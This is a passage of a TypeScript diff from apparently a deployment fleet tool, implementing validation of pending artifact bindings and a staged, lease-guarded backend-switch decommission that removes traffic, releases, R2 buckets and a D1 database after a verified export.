right ? -1 : left > right ? 1 : 0), + ); + const services = candidate.serviceBindings.map((binding) => { + if (!binding || typeof binding !== 'object' || Array.isArray(binding)) { + return malformed(); + } + const item = binding as Record; + requireExactKeys( + item, + ['name', 'service'], + ['entrypoint'], + 'backend switch pending artifact inspection is malformed', + ); + if ( + typeof item.name !== 'string' || + !item.name || + typeof item.service !== 'string' || + !item.service || + (item.entrypoint !== undefined && + (typeof item.entrypoint !== 'string' || !item.entrypoint)) + ) { + return malformed(); + } + return { + name: item.name, + service: item.service, + ...(item.entrypoint === undefined + ? {} + : { entrypoint: item.entrypoint as string }), + }; + }); + const queues = candidate.queueProducerBindings.map((binding) => { + if (!binding || typeof binding !== 'object' || Array.isArray(binding)) { + return malformed(); + } + const item = binding as Record; + requireExactKeys( + item, + ['name', 'queueName'], + [], + 'backend switch pending artifact inspection is malformed', + ); + if ( + typeof item.name !== 'string' || + !item.name || + typeof item.queueName !== 'string' || + !item.queueName + ) { + return malformed(); + } + return { name: item.name, queueName: item.queueName }; + }); + let secretNames: readonly string[]; + try { + secretNames = stringArray( + candidate.secretNames, + 'pending artifact secrets', + ); + } catch { + return malformed(); + } + const byName = (items: readonly T[]) => + [...items].sort((left, right) => + left.name < right.name ? -1 : left.name > right.name ? 1 : 0, + ); + const canonicalDurableObjectBindings = byName(durableObjectBindings); + const expectedDurableObjectBindings = byName( + spec.durableObjectBindings.map((binding) => ({ ...binding })), + ); + const observedDurableAuthority = byName( + durableObjectBindings.map( + ({ name, className, scriptName, dispatchNamespace }) => ({ + name, + className, + ...(scriptName === undefined ? {} : { scriptName }), + ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }), + }), + ), + ); + const expectedServices = spec.egressProxyService + ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] + : []; + const expectedQueues = spec.queueProducer + ? [ + { + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, + }, + ] + : []; + const expectedApplication = applicationBindingTopology( + spec, + record.applicationResources ?? [], + ); + const expectedSecrets = [ + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ...expectedApplication.secrets.map(({ name }) => name), + ].sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)); + if ( + record.tenantTag !== spec.tenantTag || + record.environment !== spec.environment || + record.scriptName !== spec.scriptName || + record.databaseName !== spec.databaseName || + namespaceIds.some((namespaceId) => namespaceId.length === 0) || + namespaceIds.length !== canonicalNamespaceIds.length || + !sameCanonicalData(durableObjectBindings, canonicalDurableObjectBindings) || + !sameCanonicalData( + observedDurableAuthority, + expectedDurableObjectBindings, + ) || + !sameCanonicalData(services, expectedServices) || + !sameCanonicalData(queues, expectedQueues) || + !sameCanonicalData(secretNames, expectedSecrets) || + !sameCanonicalData(application, expectedApplication) || + !sameCanonicalData(record.applicationBindings, expectedApplication) + ) { + return malformed(); + } + return { + artifactVersion: expectedArtifactVersion, + specDigest: deploymentSpecDigest(spec), + databaseIds: [record.databaseId], + durableObjectBindings, + secretNames, + serviceBindings: services, + queueProducerBindings: queues, + application, + }; +} + +function assertBackendSwitchPriorSpecAuthority( + record: FleetRecord, + priorSpec: DeploymentSpec, +): BackendSwitchIntent { + const intent = record.backendSwitchIntent; + if (!intent) throw new Error('backend switch has no decommission snapshot'); + if ( + intent.prior.specDigest !== deploymentSpecDigest(priorSpec) || + intent.prior.customDomain.hostname.toLowerCase() !== + priorSpec.routeHostname.toLowerCase() || + (intent.decommissionSnapshot !== undefined && + intent.decommissionSnapshot.routeHostname.toLowerCase() !== + priorSpec.routeHostname.toLowerCase()) || + (intent.decommissionSnapshot?.prior !== undefined && + (intent.decommissionSnapshot.prior.specDigest !== + deploymentSpecDigest(priorSpec) || + intent.decommissionSnapshot.prior.customDomain.hostname.toLowerCase() !== + priorSpec.routeHostname.toLowerCase())) + ) { + throw new Error( + 'backend switch prior decommission spec differs from durable intent', + ); + } + return intent; +} + +function assertBackendSwitchDecommissionAuthority( + record: FleetRecord, + options: Pick< + AdvanceBackendSwitchDecommissionOptions, + 'priorSpec' | 'targetSpec' | 'currentSpec' + >, + capabilities: Pick, +): void { + const intent = assertBackendSwitchPriorSpecAuthority( + record, + options.priorSpec, + ); + const shell = record.decommissionIntent; + const snapshot = intent.decommissionSnapshot; + const providerTargetSpecDigest = + snapshot?.providerTargetSpecDigest ?? + intent.stateReconcileIntent?.targetSpecDigest ?? + intent.targetSpecDigest; + if (providerTargetSpecDigest !== deploymentSpecDigest(options.targetSpec)) { + throw new Error( + 'backend switch target decommission spec differs from durable intent', + ); + } + const desiredSpecDigest = snapshot + ? snapshot.desiredSpecDigest + : effectiveBackendSwitchDigest(record); + if (options.currentSpec) { + if (desiredSpecDigest !== deploymentSpecDigest(options.currentSpec)) { + throw new Error( + 'backend switch current decommission spec differs from durable intent', + ); + } + } else { + specForDigest(desiredSpecDigest, options); + } + if (shell && shell.state !== 'complete') { + databaseExportReceiptIdentity( + record, + shell.operationId, + shell.databaseExportReceiptAuthority ?? capabilities.receiptAuthority, + capabilities.receiptAuthority, + ); + } +} + +function completeSnapshotGroup( + snapshot: BackendSwitchDecommissionSnapshot | undefined, +): snapshot is BackendSwitchDecommissionSnapshot & + Required< + Pick< + BackendSwitchDecommissionSnapshot, + | 'prior' + | 'restoredArtifactVersion' + | 'entryPendingArtifactVersion' + | 'entryPendingNamespaceIds' + | 'providerTargetSpecDigest' + > + > { + return Boolean( + snapshot?.prior && + snapshot.restoredArtifactVersion !== undefined && + snapshot.entryPendingArtifactVersion !== undefined && + snapshot.entryPendingNamespaceIds !== undefined && + snapshot.providerTargetSpecDigest, + ); +} + +function nextBackendSwitchShell( + record: FleetRecord, + switchIntent: BackendSwitchIntent, + transition: DecommissionIntentTransition, +): ActiveBackendSwitchShell { + const shell = record.decommissionIntent; + if (!shell || shell.state === 'complete') { + throw new Error('backend switch decommission shell is not active'); + } + const receiptAuthority = + shell.databaseExportReceiptAuthority ?? + transition.databaseExportReceiptAuthority; + const common = { + version: 1 as const, + operationId: shell.operationId, + revision: shell.revision + 1, + generation: transition.generation ?? shell.generation, + updatedAt: record.updatedAt, + identity: shell.identity, + ...(receiptAuthority + ? { databaseExportReceiptAuthority: receiptAuthority } + : {}), + lifecyclePhase: + transition.lifecyclePhase ?? + (backendSwitchDecommissionLifecyclePhase( + switchIntent.subphase, + shell.lifecyclePhase, + ) as import('./types.js').NormalDecommissionLifecyclePhase), + }; + switch (transition.state) { + case 'transitioning': + return { ...common, state: 'transitioning' }; + case 'discover': + return { + ...common, + state: 'discover', + purpose: transition.purpose, + progress: transition.progress, + }; + case 'verify': + return { + ...common, + state: 'verify', + purpose: transition.purpose, + progress: transition.progress, + discoverEvidence: transition.discoverEvidence, + }; + case 'blocked': + return { + ...common, + state: 'blocked', + purpose: transition.purpose, + attachment: transition.attachment, + }; + } +} + +async function putBackendSwitchOwnership( + lease: BackendSwitchLease, + switchIntent: BackendSwitchIntent, + shell: DecommissionAdvanceIntent, + patch: Partial = {}, +): Promise { + const current = lease.current(); + const applicationResources = ( + switchIntent.applicationR2Progress ?? + switchIntent.decommissionSnapshot?.applicationResources.map((resource) => ({ + resource, + subphase: resource.state, + })) ?? + [] + ).map(({ resource, subphase }) => ({ ...resource, state: subphase })); + const nextRecord: FleetRecord = { + ...current, + ...patch, + backendSwitchIntent: switchIntent, + decommissionIntent: shell, + applicationResources, + phase: + shell.state === 'complete' ? 'decommissioned' : 'decommission-advancing', + updatedAt: current.updatedAt, + }; + await lease.putOwnership(nextRecord, switchIntent); + return lease.current(); +} + +function allowedSwitchArtifactVersions( + snapshot: BackendSwitchDecommissionSnapshot, +): readonly string[] { + return [ + snapshot.prior?.artifactVersion, + snapshot.bridge?.artifactVersion, + snapshot.restoredArtifactVersion ?? undefined, + snapshot.resources?.stateWorker.artifactVersion, + ].filter((value): value is string => Boolean(value)); +} + +function entryPendingArtifact( + snapshot: BackendSwitchDecommissionSnapshot, + options: AdvanceBackendSwitchDecommissionOptions, +): + | Readonly<{ + artifactVersion: string; + namespaceIds: readonly string[]; + spec: DeploymentSpec; + }> + | undefined { + if ( + snapshot.entryPendingArtifactVersion === null || + snapshot.entryPendingNamespaceIds === null + ) { + return undefined; + } + if ( + snapshot.entryPendingArtifactVersion === undefined || + snapshot.entryPendingNamespaceIds === undefined + ) { + throw new Error( + 'backend switch decommission snapshot lacks entry authority', + ); + } + return { + artifactVersion: snapshot.entryPendingArtifactVersion, + namespaceIds: snapshot.entryPendingNamespaceIds, + spec: specForDigest(snapshot.desiredSpecDigest, options), + }; +} + +function purposeTargetForSwitch( + purpose: import('./types.js').DecommissionAttachmentPurpose, +) { + return purpose.kind === 'application-r2-detach' + ? ({ kind: 'r2', bucketName: purpose.bucketName } as const) + : ({ kind: 'd1', databaseId: purpose.databaseId } as const); +} + +function databasePreDeletePurposeForSwitch(record: FleetRecord) { + if ( + !record.databaseExportLocation || + !record.databaseExportSha256 || + !record.databaseExportSize + ) { + throw new Error('backend switch decommission has no durable export'); + } + return { + kind: 'database-pre-delete' as const, + databaseId: record.databaseId, + exportLocation: record.databaseExportLocation, + exportSha256: record.databaseExportSha256, + exportSize: record.databaseExportSize, + }; +} + +async function reconcileSwitchDatabase( + capabilities: BackendSwitchCapabilitySet, + record: FleetRecord, + lease: BackendSwitchLease, + allowAbsent: boolean, +): Promise<(DatabaseReference & { readonly created: false }) | undefined> { + return reconcilePersistedDatabaseFromCallbacks({ + getDatabase: capabilities.getDatabase, + readOwner: capabilities.readOwner, + record, + allowAbsent, + requireOwner: true, + fence: lease, + }); +} + +async function consumeSwitchVerify( + options: AdvanceBackendSwitchDecommissionOptions, + lease: BackendSwitchLease, + capabilities: BackendSwitchCapabilitySet, + verified: Extract, +): Promise { + const record = lease.current(); + const switchIntent = record.backendSwitchIntent as BackendSwitchIntent; + if (verified.purpose.kind === 'application-r2-detach') { + await lease.assertOwned(); + const advanced = await advanceApplicationR2Deletion({ + spec: specForDigest( + switchIntent.decommissionSnapshot?.desiredSpecDigest ?? + record.desiredSpecDigest, + options, + ), + resources: record.applicationResources ?? [], + backend: { + findApplicationR2Bucket: (resource) => + options.provider.findSwitchApplicationR2(resource), + }, + fence: lease, + startResourceIndex: 0, + verifiedDetachmentResourceIndex: verified.purpose.resourceIndex, + }); + if ( + advanced.status !== 'resource-advanced' || + advanced.resourceIndex !== verified.purpose.resourceIndex || + advanced.resources[advanced.resourceIndex]?.state !== 'detached' + ) { + throw new Error('bounded decommission attachment result is malformed'); + } + const nextSwitch = next( + switchIntent, + 'decommission-application-r2-authorized', + { + applicationR2Progress: advanced.resources.map((resource) => ({ + resource, + subphase: resource.state, + })), + }, + ); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }), + ); + } + const database = await reconcileSwitchDatabase( + capabilities, + record, + lease, + verified.lifecyclePhase === 'database-deleting', + ); + if (!database) { + return completeBackendSwitchDecommission(lease, record, switchIntent); + } + await capabilities.residuals({ + prior: switchIntent.decommissionSnapshot?.prior ?? switchIntent.prior, + targetSpec: options.targetSpec, + currentRecord: record, + database, + fence: lease, + }); + if (verified.purpose.kind === 'database-pre-export') { + const identity = databaseExportReceiptIdentity( + record, + verified.operationId, + verified.databaseExportReceiptAuthority as string, + capabilities.receiptAuthority, + ); + await lease.assertOwned(); + const exported = databaseExportFromUnknown( + await capabilities.exportReceipt(identity, { + prior: switchIntent.decommissionSnapshot?.prior ?? switchIntent.prior, + targetSpec: options.targetSpec, + fence: lease, + }), + record.databaseId, + ); + const nextSwitch = next(switchIntent, 'decommission-exported', { + databaseExport: exported, + }); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { + state: 'transitioning', + lifecyclePhase: 'database-exported', + }), + { + databaseExportLocation: exported.location, + databaseExportSha256: exported.sha256, + databaseExportSize: exported.size, + }, + ); + } + if (verified.purpose.kind !== 'database-pre-delete') { + throw new Error('bounded decommission attachment result is malformed'); + } + const nextSwitch = next(switchIntent, 'decommission-database-authorized'); + const barrier = await putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { + state: 'transitioning', + lifecyclePhase: 'database-deleting', + }), + ); + await settleDatabaseDeletionUnderBarrier({ + lease, + databaseId: record.databaseId, + barrier, + deleteDatabase: () => + capabilities.deleteDatabase({ + prior: switchIntent.decommissionSnapshot?.prior ?? switchIntent.prior, + targetSpec: options.targetSpec, + database, + fence: lease, + }), + readDatabase: () => capabilities.getDatabase(record.databaseId), + }); + return lease.current(); +} + +async function completeBackendSwitchDecommission( + lease: BackendSwitchLease, + record: FleetRecord, + switchIntent: BackendSwitchIntent, +): Promise { + const shell = record.decommissionIntent; + if ( + !shell || + shell.state === 'complete' || + !switchIntent.databaseExport || + (record.applicationResources ?? []).some( + (resource) => resource.state !== 'deleted', + ) + ) { + throw new Error( + 'backend switch decommission terminal authority is malformed', + ); + } + const completeShell: DecommissionAdvanceIntent = { + version: 1, + operationId: shell.operationId, + revision: shell.revision + 1, + generation: shell.generation, + updatedAt: record.updatedAt, + identity: shell.identity, + databaseExportReceiptAuthority: + shell.databaseExportReceiptAuthority as string, + lifecyclePhase: 'decommissioned', + state: 'complete', + }; + return putBackendSwitchOwnership( + lease, + next(switchIntent, 'decommissioned'), + completeShell, + { + phase: 'decommissioned', + databaseExportLocation: switchIntent.databaseExport.location, + databaseExportSha256: switchIntent.databaseExport.sha256, + databaseExportSize: switchIntent.databaseExport.size, + }, + ); +} + +async function startBoundedSwitchShell( + options: AdvanceBackendSwitchDecommissionOptions, + lease: BackendSwitchLease, + capabilities: BackendSwitchCapabilitySet, +): Promise { + const record = lease.current(); + let intent = assertBackendSwitchPriorSpecAuthority(record, options.priorSpec); + if ( + intent.subphase === 'candidate-deploy-authorized' || + intent.subphase === 'rollback-restore-authorized' || + intent.subphase === 'finalize-authorized' + ) { + throw new Error( + `backend switch decommission must settle '${intent.subphase}' before teardown`, + ); + } + if (intent.stateReconcileIntent?.subphase === 'upload-authorized') { + throw new Error( + "backend switch decommission must settle 'upload-authorized' before teardown", + ); + } + if ( + BACKEND_SWITCH_SUBPHASES.indexOf(intent.subphase) >= + BACKEND_SWITCH_SUBPHASES.indexOf('decommission-export-authorized') + ) { + throw new Error( + 'bounded backend-switch decommission cannot adopt shell-less legacy D1 authorization', + ); + } + if ( + intent.decommissionSnapshot && + !completeSnapshotGroup(intent.decommissionSnapshot) && + record.backend === 'plain-worker' && + !record.pendingArtifactVersion + ) { + throw new Error( + 'bounded backend-switch decommission cannot adopt compatibility-ambiguous shell-less plain authority', + ); + } + if (intent.subphase === 'bridge-upload-authorized') { + const recovered = await options.provider.recoverBridge({ + priorSpec: options.priorSpec, + targetSpec: options.targetSpec, + prior: intent.prior, + plan: requiredBridgePlan(intent), + fence: lease, + }); + if (!recovered) { + throw new Error( + "backend switch decommission must settle 'bridge-upload-authorized' before teardown", + ); + } + intent = next(intent, 'bridge-deployed', { + bridge: bridgeSnapshot(recovered), + }); + } + const desiredSpecDigest = effectiveBackendSwitchDigest(record); + const currentSpec = specForDigest(desiredSpecDigest, options); + let entryPendingArtifactVersion: string | null = null; + let entryPendingNamespaceIds: readonly string[] | null = null; + if (record.pendingArtifactVersion) { + let capture: BackendSwitchProvider['captureSwitchEntryPendingArtifact']; + try { + capture = Reflect.get( + options.provider, + 'captureSwitchEntryPendingArtifact', + options.provider, + ) as BackendSwitchProvider['captureSwitchEntryPendingArtifact']; + } catch { + throw new DecommissionAdvanceCapabilityError( + 'pending-artifact-inspection', + ); + } + if (typeof capture !== 'function') { + throw new DecommissionAdvanceCapabilityError( + 'pending-artifact-inspection', + ); + } + const inspection = pendingInspectionFromUnknown( + await capture.call(options.provider, { + expectedArtifactVersion: record.pendingArtifactVersion, + spec: currentSpec, + currentRecord: record, + fence: lease, + }), + record.pendingArtifactVersion, + currentSpec, + record, + ); + entryPendingArtifactVersion = record.pendingArtifactVersion; + entryPendingNamespaceIds = inspection.durableObjectBindings + .map(({ namespaceId }) => namespaceId) + .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)); + } + const providerTargetSpecDigest = + intent.stateReconcileIntent?.targetSpecDigest ?? intent.targetSpecDigest; + const proposedSnapshot = intent.decommissionSnapshot + ? { + ...intent.decommissionSnapshot, + prior: intent.prior, + restoredArtifactVersion: intent.restoredArtifactVersion ?? null, + entryPendingArtifactVersion, + entryPendingNamespaceIds, + providerTargetSpecDigest, + desiredSpecDigest, + } + : authorizeDecommissionSnapshot(record, intent, { + desiredSpecDigest, + entryPendingArtifactVersion, + entryPendingNamespaceIds, + providerTargetSpecDigest, + }); + const { + decommissionSnapshotSha256: _priorSnapshotSha256, + decommissionEntrySubphase: _priorEntrySubphase, + ...unmarkedIntent + } = intent; + const canonicalSnapshot = backendSwitchIntentFromUnknown({ + ...unmarkedIntent, + decommissionSnapshot: proposedSnapshot, + }).decommissionSnapshot; + if (!canonicalSnapshot) { + throw new Error('backend switch decommission authorization was lost'); + } + const snapshot = canonicalSnapshot; + const entrySubphase = intent.subphase; + const snapshotSha256 = backendSwitchDecommissionSnapshotDigest(snapshot); + const startSubphase = intent.decommissionSnapshot + ? intent.subphase + : 'decommission-traffic-authorized'; + intent = next(intent, startSubphase, { + decommissionSnapshot: snapshot, + decommissionSnapshotSha256: snapshotSha256, + decommissionEntrySubphase: entrySubphase, + }); + const operationId = options.randomUUID(); + parseDecommissionAdvanceToken({ + version: 1, + tenantTag: record.tenantTag, + environment: record.environment, + operationId, + revision: 0, + }); + databaseExportReceiptIdentity( + record, + operationId, + capabilities.receiptAuthority, + capabilities.receiptAuthority, + ); + const shell = backendSwitchDecommissionShell({ + record, + intent, + operationId, + snapshotSha256, + entrySubphase, + now: record.updatedAt, + }); + await lease.putOwnership( + normalizeSwitchDecommissionEntry(record, intent, shell), + intent, + ); + return lease.current(); +} + +async function advanceBoundedSwitchCurrent( + options: AdvanceBackendSwitchDecommissionOptions, + lease: BackendSwitchLease, + capabilities: BackendSwitchCapabilitySet, +): Promise { + const record = lease.current(); + const shell = record.decommissionIntent; + const intent = record.backendSwitchIntent; + if (!shell || shell.state === 'complete' || !intent) { + return record; + } + const snapshot = intent.decommissionSnapshot; + if (!snapshot || !completeSnapshotGroup(snapshot)) { + throw new Error( + 'backend switch decommission snapshot lacks bounded authority', + ); + } + if (shell.state === 'discover' || shell.state === 'verify') { + return advanceDecommissionAttachmentScanStep({ + intent: shell, + scan: capabilities.scan, + maxProviderRequests: options.maxProviderRequests, + signal: options.signal, + persist: (transition) => + putBackendSwitchOwnership( + lease, + intent, + nextBackendSwitchShell(record, intent, transition), + ), + consumeMatchingVerify: ({ intent: verified }) => + consumeSwitchVerify(options, lease, capabilities, verified), + }); + } + if (intent.subphase === 'decommission-traffic-authorized') { + await options.provider.removeSwitchTraffic({ + prior: snapshot.prior, + priorSpec: options.priorSpec, + bridge: snapshot.bridge, + plan: snapshot.bridgePlan, + targetSpec: options.targetSpec, + allowedArtifactVersions: allowedSwitchArtifactVersions(snapshot), + tenantTag: intent.tenantTag, + environment: intent.environment, + routeHostname: snapshot.routeHostname, + routeTargets: snapshot.routeTargets.map(({ routeTarget }) => routeTarget), + ...(entryPendingArtifact(snapshot, options) + ? { entryPendingArtifact: entryPendingArtifact(snapshot, options) } + : {}), + fence: lease, + }); + await options.provider.assertSwitchTrafficRemoved({ + prior: snapshot.prior, + routeHostname: snapshot.routeHostname, + }); + const nextSwitch = next(intent, 'decommission-traffic-removed'); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }), + ); + } + if ( + intent.subphase === 'decommission-traffic-removed' || + intent.subphase === 'decommission-candidate-authorized' + ) { + const index = snapshot.releases.findIndex( + ({ subphase }) => subphase !== 'deleted', + ); + if (index >= 0) { + const progress = snapshot.releases[ + index + ] as BackendSwitchDecommissionRelease; + let authorizedIntent = intent; + if (progress.subphase === 'present') { + const releases = [...snapshot.releases]; + releases[index] = { ...progress, subphase: 'delete-authorized' }; + authorizedIntent = next(intent, 'decommission-candidate-authorized', { + decommissionSnapshot: { ...snapshot, releases }, + }); + await putBackendSwitchOwnership( + lease, + authorizedIntent, + nextBackendSwitchShell(record, authorizedIntent, { + state: 'transitioning', + }), + ); + } + await options.provider.removeSwitchRelease({ + prior: snapshot.prior, + tenantTag: intent.tenantTag, + environment: intent.environment, + routeHostname: snapshot.routeHostname, + release: progress.release, + fence: lease, + }); + const current = lease.current(); + const currentSnapshot = + authorizedIntent.decommissionSnapshot as BackendSwitchDecommissionSnapshot; + const releases = [...currentSnapshot.releases]; + releases[index] = { ...progress, subphase: 'deleted' }; + const deletedIntent = next( + authorizedIntent, + 'decommission-candidate-authorized', + { decommissionSnapshot: { ...currentSnapshot, releases } }, + ); + return putBackendSwitchOwnership( + lease, + deletedIntent, + nextBackendSwitchShell(current, deletedIntent, { + state: 'transitioning', + }), + ); + } + const nextSwitch = next(intent, 'decommission-candidate-removed'); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }), + ); + } + if ( + intent.subphase === 'decommission-candidate-removed' || + intent.subphase === 'decommission-bridge-authorized' + ) { + let authorized = intent; + if (intent.subphase === 'decommission-candidate-removed') { + authorized = next(intent, 'decommission-bridge-authorized'); + await putBackendSwitchOwnership( + lease, + authorized, + nextBackendSwitchShell(record, authorized, { state: 'transitioning' }), + ); + } + await options.provider.removeSwitchBridge({ + prior: snapshot.prior, + priorSpec: options.priorSpec, + bridge: snapshot.bridge, + plan: snapshot.bridgePlan, + targetSpec: options.targetSpec, + allowedArtifactVersions: allowedSwitchArtifactVersions(snapshot), + ...(entryPendingArtifact(snapshot, options) + ? { entryPendingArtifact: entryPendingArtifact(snapshot, options) } + : {}), + fence: lease, + }); + const current = lease.current(); + const nextSwitch = next(authorized, 'decommission-bridge-removed'); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(current, nextSwitch, { state: 'transitioning' }), + ); + } + if (intent.subphase === 'decommission-bridge-removed') { + const progress = snapshot.applicationResources.map((resource) => ({ + resource, + subphase: resource.state, + })); + const nextSwitch = next(intent, 'decommission-application-r2-authorized', { + applicationR2Progress: progress, + }); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { + state: 'transitioning', + lifecyclePhase: 'application-resources-deleting', + }), + ); + } + if (intent.subphase === 'decommission-application-r2-authorized') { + const resources = record.applicationResources ?? []; + const advanced = await advanceApplicationR2Deletion({ + spec: specForDigest(snapshot.desiredSpecDigest, options), + resources, + backend: { + findApplicationR2Bucket: (resource) => + options.provider.findSwitchApplicationR2(resource), + assertApplicationR2Empty: (resource, fence) => + options.provider.assertSwitchApplicationR2Empty(resource, fence), + deleteApplicationR2Bucket: (resource, fence) => + options.provider.deleteSwitchApplicationR2(resource, fence), + }, + fence: lease, + startResourceIndex: 0, + }); + if (advanced.status === 'detachment-required') { + const resource = advanced.resources[advanced.resourceIndex]; + if (!resource?.creationDate) { + throw new Error('backend switch application R2 authority is malformed'); + } + const nextSwitch = next( + intent, + 'decommission-application-r2-authorized', + { + applicationR2Progress: advanced.resources.map((entry) => ({ + resource: entry, + subphase: entry.state, + })), + }, + ); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { + state: 'discover', + purpose: { + kind: 'application-r2-detach', + resourceIndex: advanced.resourceIndex, + name: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + reservationNonce: resource.reservationNonce, + creationDate: resource.creationDate, + }, + progress: initialWorkerAttachmentScan({ + kind: 'r2', + bucketName: resource.bucketName, + }), + generation: shell.generation + 1, + }), + ); + } + if (advanced.status === 'complete') { + const nextSwitch = next(intent, 'decommission-application-r2-removed', { + applicationR2Progress: resources.map((resource) => ({ + resource, + subphase: resource.state, + })), + }); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { + state: 'transitioning', + lifecyclePhase: 'application-resources-deleted', + }), + ); + } + const nextSwitch = next(intent, 'decommission-application-r2-authorized', { + applicationR2Progress: advanced.resources.map((resource) => ({ + resource, + subphase: resource.state, + })), + }); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }), + ); + } + if (intent.subphase === 'decommission-application-r2-removed') { + const nextSwitch = next(intent, 'decommission-export-authorized'); + return putBackendSwitchOwnership( + lease, + nextSwitch, + nextBackendSwitchShell(record, nextSwitch, { + state: 'discover', + lifecyclePhase: 'application-resources-deleted', + databaseExportReceiptAuthority: capabilities.receiptAuthority, + purpose: { kind: 'database-pre-export', databaseId: record.databaseId }, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + generation: shell.generation + 1, + }), + ); + } + if (intent.subphase === 'decommission-exported') { + return putBackendSwitchOwnership( + lease, + intent, + nextBackendSwitchShell(record, intent, { + state: 'discover', + lifecyclePhase: 'database-exported', + purpose: databasePreDeletePurposeForSwitch(record), + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + generation: shell.generation + 1, + }), + ); + } + if (intent.subphase === 'decommission-database-authorized') { + const database = await reconcileSwitchDatabase( + capabilities, + record, + lease, + true, + ); + if (!database) { + return completeBackendSwitchDecommission(lease, record, intent); + } + return putBackendSwitchOwnership( + lease, + intent, + nextBackendSwitchShell(record, intent, { + state: 'discover', + lifecyclePhase: 'database-deleting', + purpose: databasePreDeletePurposeForSwitch(record), + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: record.databaseId, + }), + generation: shell.generation + 1, + }), + ); + } + throw new Error( + `unsupported bounded backend-switch decommission subphase '${intent.subphase}'`, + ); +} + +/** Inputs for one root-only bounded backend-switch teardown action. */ +export interface AdvanceBackendSwitchDecommissionOptions { + readonly store: FleetStateStore; + readonly provider: BackendSwitchProvider; + readonly priorSpec: DeploymentSpec; + readonly targetSpec: DeploymentSpec; + readonly currentSpec?: DeploymentSpec; + readonly action: DecommissionAdvanceAction; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly clock?: () => number; + readonly randomUUID: () => string; +} + +async function advanceBackendSwitchDecommissionInternal( + options: AdvanceBackendSwitchDecommissionOptions, + precaptured?: BackendSwitchCapabilitySet, +): Promise { + validateDeploymentSpec(options.priorSpec); + validateDeploymentSpec(options.targetSpec); + if (options.currentSpec) validateDeploymentSpec(options.currentSpec); + assertPlainPrior(options.priorSpec); + assertExternalTarget(options.targetSpec); + assertSameDeployment(options.priorSpec, options.targetSpec); + assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests); + const action = decommissionAdvanceActionFromUnknown(options.action); + if (typeof options.randomUUID !== 'function') { + throw new Error( + 'advanceBackendSwitchDecommission requires a randomUUID function', + ); + } + const token = + action.kind === 'start' + ? undefined + : parseDecommissionAdvanceToken(action.token); + if ( + token && + (token.tenantTag !== options.priorSpec.tenantTag || + token.environment !== options.priorSpec.environment) + ) { + throw new DecommissionAdvanceTokenDeploymentError(); + } + return withBackendSwitchLease( + options.store, + options.priorSpec.tenantTag, + options.priorSpec.environment, + options.clock ?? Date.now, + async (lease) => { + let record = lease.current(); + assertBackendSwitchPriorSpecAuthority(record, options.priorSpec); + const existing = record.decommissionIntent; + if (action.kind === 'start' && existing) { + if (existing.state !== 'complete') { + const capabilities = + precaptured ?? + captureBackendSwitchDecommissionCapabilities(options.provider); + assertBackendSwitchDecommissionAuthority( + record, + options, + capabilities, + ); + } + return backendSwitchAdvanceResult(record); + } + if (action.kind !== 'start') { + if (!token || !existing) { + throw new DecommissionAdvanceTokenOperationError(); + } + const classification = classifyDecommissionAdvanceToken(token, record); + if (classification === 'stale') + return backendSwitchAdvanceResult(record); + if (action.kind === 'restart-blocked') { + if (existing.state !== 'blocked') { + throw new DecommissionAdvanceRestartError(); + } + const capabilities = + precaptured ?? + captureBackendSwitchDecommissionCapabilities(options.provider); + assertBackendSwitchDecommissionAuthority( + record, + options, + capabilities, + ); + const switchIntent = + record.backendSwitchIntent as BackendSwitchIntent; + record = await putBackendSwitchOwnership( + lease, + switchIntent, + nextBackendSwitchShell(record, switchIntent, { + state: 'discover', + purpose: existing.purpose, + progress: initialWorkerAttachmentScan( + purposeTargetForSwitch(existing.purpose), + ), + generation: existing.generation + 1, + }), + ); + return backendSwitchAdvanceResult(record); + } + if (existing.state === 'blocked' || existing.state === 'complete') { + return backendSwitchAdvanceResult(record); + } + } + if (!existing) { + const switchIntent = record.backendSwitchIntent; + if ( + switchIntent && + BACKEND_SWITCH_SUBPHASES.indexOf(switchIntent.subphase) >= + BACKEND_SWITCH_SUBPHASES.indexOf('decommission-export-authorized') + ) { + throw new Error( + 'bounded backend-switch decommission cannot adopt shell-less legacy D1 authorization', + ); + } + } + const capabilities = + precaptured ?? + captureBackendSwitchDecommissionCapabilities(options.provider); + assertBackendSwitchDecommissionAuthority(record, options, capabilities); + if (!existing) { + record = await startBoundedSwitchShell(options, lease, capabilities); + } else { + record = await advanceBoundedSwitchCurrent( + options, + lease, + capabilities, + ); + } + return backendSwitchAdvanceResult(record); + }, + ); +} + +/** + * Starts, reads, or advances one root-only backend-switch teardown operation. + * One call performs at most one bounded scan or lifecycle/resource action group. + */ +export function advanceBackendSwitchDecommission( + options: AdvanceBackendSwitchDecommissionOptions, +): Promise { + return advanceBackendSwitchDecommissionInternal(options); +} + +function shouldUseBoundedCompatibility( + provider: BackendSwitchProvider, +): BackendSwitchCapabilitySet | undefined { + let scan: unknown; + try { + scan = 